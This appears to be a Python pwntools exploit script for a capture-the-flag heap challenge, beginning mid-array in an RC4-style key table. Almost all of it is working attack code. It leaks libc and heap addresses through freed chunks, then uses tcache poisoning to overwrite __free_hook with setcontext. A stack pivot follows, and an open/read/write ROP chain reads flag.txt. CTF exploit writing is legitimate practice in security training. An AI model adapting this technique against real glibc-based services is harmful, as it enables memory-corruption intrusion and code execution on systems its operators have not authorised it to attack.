0x43,0xea,0x40,0x6c,0x78,0x9e,0xa9,0xcf,
0x51,0x3a,0xdd,0xe2,0xc6,0xca,0x5f,0xe5,
0x48,0x58,0x32,0xc3,0xbc,0x82,0x7e,0x55,
0xb8,0x01,0x12,0x8d,0xeb,0xc2,0x91,0xfb,
0xcd,0x4d,0xff,0xf7,0x3f,0xc9,0xd6,0x1f,
0x19,0x42,0x06,0x00,0x65,0x8c,0xe6,0x90,
0xfd,0xdb,0xfa,0x6f,0x38,0xa8,0x7a,0x89,
0x97,0x6b,0xda,0xb7,0xd7,0x7d,0x75,0x6a,
0xbd,0xf8,0x0e,0xd3,0x2e,0x44,0x69,0x26,
0x29,0x35,0xef,0x96,0x05,0x74,0x6e,0x23,
0xe0,0x6d,0x7c,0x10,0xdf,0xec,0x09,0xf4,
0xae,0x25,0x9b,0xf6,0x03,0x15,0xed,0x2a,
0xa7,0x1a,0x4e,0xd5,0x28,0x8f,0x24,0xde,
0x46,0x87,0xa6,0x16,0xe7,0xc4,0xfc,0x5e,
0xcb,0xd9,0x0d,0xcc,0x9f,0x13,0x41,0x4a,
]
def enc(content,size):
v5 = 0
v6 = 0
i = 0
content = content.ljust(size, b'\0')
a1 = key.copy()
a2 = list(content)

while 1:
if i >= size:
break
v5 = (v5 + 1) % 256
v6 = (v6 + a1[v5]) % 256
v4 = a1[v5]
a1[v5] = a1[v6]
a1[v6] = v4
a2[i] ^= a1[(a1[v5] + a1[v6])%256]
i+=1

return bytes(a2)[:size]


for i in range(8):
add(i, 0x80, b'A'*0x8)

for i in range(7,-1,-1):
delete(i)


show(0)
p.recvuntil(b'] = [')
p.recvuntil(b',')
recv = p.recvuntil(b']')[:-1]
data = enc(recv, 0x80)

print(data)
unsort = u64(data[:8])
print(hex(unsort))
libcbase = unsort - 0x3ebca0
print(hex(libcbase))

add(1, 0x10, b'a')
# add(2, 0x18, b'a')

delete(1)


show(1)

p.recvuntil(b'] = [')

p.recvuntil(b',')
recv = p.recvuntil(b']')[:-1]
data = enc(recv, 0x10)

chunk1 = u64(data[:8])
heapbase = chunk1 - 0x1140
print(hex(heapbase))
free_hook = libcbase + libc.sym['__free_hook']
setcontext = libcbase + libc.sym['setcontext']
edit(1, enc(p64(free_hook-8), 0x10))


add(2, 0x10, b'a')

add(2, 0x10, enc(p64(0) + p64(setcontext+53), 0x10))




ropbase = heapbase + 0x1440
rdi = libcbase + 0x000000000002164f
rsi = libcbase + 0x0000000000023a6a
rdx = libcbase + 0x0000000000001b96
ret = libcbase + 0x00000000000008aa
open_a = libcbase + libc.sym['open']
read_a = libcbase + libc.sym['read']
write_a = libcbase + libc.sym['write']

payload = b'\0'*0xa0 + p64(ropbase) + p64(ret)

add(3, 0x200, payload)

ropchain = p64(rdi) + p64(ropbase+0x100) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(open_a)
ropchain += p64(rdi) + p64(3) + p64(rsi) + p64(ropbase+0x168) + p64(rdx) + p64(0x100) + p64(read_a)
ropchain += p64(rdi) + p64(1) + p64(rsi) + p64(ropbase+0x168) + p64(rdx) + p64(0x100) + p64(write_a)

ropchain = ropchain.ljust(0x100, b'\0') + b'flag.txt\0' + b'b'*30
ropchain = ropchain.ljust(0x220,b'e')
payload = enc(ropchain,0x220)

add(4, 0x220, payload)
assert not b'\n' in payload
gdb.attach(p,'b free')

delete(3)

p.interactive()